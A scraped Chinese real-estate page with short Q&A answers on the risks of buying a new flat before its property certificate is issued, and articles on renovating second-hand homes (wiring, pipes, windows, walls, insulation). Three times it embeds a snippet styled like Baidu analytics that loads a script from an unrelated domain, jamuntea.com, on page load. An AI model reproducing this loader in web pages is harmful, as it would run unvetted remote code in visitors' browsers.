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钱鸿哲

改底单的一手房可以买吗?需要注意哪些方面?

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鲍才英 有用 1

您好~1)出售风险①、业主不能按期取得房产证;?②、房产证下来时业主可能会一房二卖或者拒绝办理过户,易产生纠纷2)需要注意事项①限首付:房屋无贷款,首付款房屋总价70%;房屋有贷款且用首付款还清,首付款房屋总价80%;房屋有贷款且暂时不还清,首付款+出售方贷款金额

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李沛文 有用 1

您好~1)出售风险①、业主不能按期取得房产证;?②、房产证下来时业主可能会一房二卖或者拒绝办理过户,易产生纠纷2)需要注意事项①限首付:房屋无贷款,首付款<房屋总价70%;房屋有贷款且用首付款还清,首付款<房屋总价80%;房屋有贷款且暂时不还清,首付款+出售方贷款金额

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专题 买的二手房重新装修要注意哪些方面?

买的二手房重新装修要注意哪些方面?

“精装普遍带装修,几千元每平方米的装修费水分太高。”这是许多业主选择购入二手房的原因,如今大家对于旧房和二手房的翻修需求越来越高。那买的二手房重新装修需要注意哪些方面呢?一、装修风格的确定买的二手房重新装修前一定要先确定好想要的风格和家具色调的选定,最好的解决方法是先选好想要的家具,再去进行对于家装的方案设计,能大大降低方案设计的难度。二、做好预算买的二手房重新装修前需要做好明确细致的预算,确定好预算才能确定选用什么价位的家装材料,才能定下最合适的设计方案。三、电路改造电路分配简单、电线老化、违章布线等现象是二手房普遍存在的问题,而现在的生活用电需求原本老旧的电路设计已经负担不起了,所以在二手房重新装修时必须彻底改造,重新布线。对于安装空调等大功率电器的线路,我们还应该单独设置一条4平方毫米截面的线路,并且必须在埋线时使用PVC绝缘护线管。四、门窗的改造在买的二手房重新装修时门窗老化也是一个需要重视的问题。在门窗出现以下情况时必须拆掉重做,例如木门窗起皮、变形,这说明木材本身特性发生变化,在这种情况下一定要换新的门窗。此外,如果钢制的门窗出现表面漆膜脱落、主体锈蚀或开裂的情况,为了不影响使用效果,也需要拆掉重做。买的二手房重新装修远不止以上几个方面需要注意,在装修过程中还应该注意水管是否老化,有没有隐蔽的工程问题等。二手房重新装修是一门学问,为了居住的舒适度还是建议大家找专业的设计人员进行装修。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

二手房子改造需要特别注意哪些方面

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当一些人对二手房进行翻新和翻新时,他们从未理解任何潜在的安全隐患,也没有具体的盲目改变计划。他们不知道二手房子改造的预防措施以及二手房的翻新过程。如果没了解清楚的前提下就进行改变了,可能会影响一些房屋的布线问题,所以每个人都应该对这些房屋装修问题保持谨慎。在二手房子改造中应该注意什么?当你需要翻新二手房时,你需要看看有关二手房装修设计考虑的文章,需要注意材料报价和整体规划工作,需要付钱关注水电改造和通风工程同时,要注意二手房的改造。二手房子改造要注意的事项1、二手房子改造翻新过程要注意线路正常。在过去,没有使用铜线,但是当绝缘层的绝缘被风化或绝缘效果大大削弱时,容易老化的铝线可能导致电线短路。另外,老房子配电设置比较陈旧,功率比不合理,而且容易出行。而一些老房子电路是开放的线路,有随机布线和其他现象,它不适合现代家庭的电器日常生活,并有火灾隐患。可以通过两种方式区分电线是否老化:看电线是否开裂;弯曲电线,看电线是否会断裂或剥落。2、二手房子改造翻新过程要注意水管是否生锈或漏水。虽然大多数新建的社区都使用PPR水管,但许多老房子仍然使用镀锌管和阀门,这常常导致漏水,不方便使用。另外,镀锌管用作水管,经过几年的使用后容易生锈和腐烂,形成重水和碱,影响饮用水质量,严重危害人体健康。以上是二手房子改造翻新注意事项的相关答案。在翻新二手房时,不要仅仅依靠专业的施工队伍和装修团队。您应该了解一些安全预防措施和程序。例如,有些人的二手房暴露在水管,缺少墙壁等情况下。如果没有安全的保护措施,可能会干扰住户的生活。​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

旧房重新改造复杂吗 改造需要注意哪些方面

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旧房重新改造就是购买二手房后,需要重新按照自己的思路做一次装修。其实旧房改造比新房装修要复杂的多,需要花费更大的人力、物力、财力。旧房重新改造注意事项很多,下面一一介绍。一、旧房结构旧房重新改造前,需要先在房屋结构上进行空间调整。除了承重墙不能动以外,其余部分可以修改,比如壁柜、顶柜、拆除非承重墙等等。通过结构改造将旧房浪费的空间利用起来,同时改善房屋的采光和空间利用率。二、墙体墙面墙体无论以前用的是什么材料,为了安全着想,最好都铲除掉,重新买环保可靠的腻子。其次一定要请专业施工团队重新做防水层。最后如果墙面有鼓包或者开裂的情况,要先铲除到基层,再做好防裂处理,最后再进行下一步施工。三、水路、电路1、水路旧房重新改造最先就的进行水电路改造。对于水路方面根据卫生间用水情况,重新更改管线位置,调整适合自己家用的厕所、淋浴、洗手盆、洗衣机的位置,增加或者减少进出水口。2、电路旧房重新改造,即使使用年限不长,也需要进行电路改造,而且要彻底改造。首先是更换电线,必须要选择合格的电线,价格贵一些也无妨,毕竟这属于隐蔽工程,如果出现异常不仅有安全隐患,重新整改电路工程量也很大。其次,旧房电线回路是否足够,比如需要单独加一个热水器,就要增加一条新的回路才行。四、保温有些旧房子阳台和外墙没有做保温层,导致冬天家里暖气烧得很旺,但是还是感觉寒冷。旧房重新改造时一定要加做一层保温层。旧房重新改造工程量比较大,也需要一定的时间。为了保证入住后的安全舒适,改造决对不能马虎。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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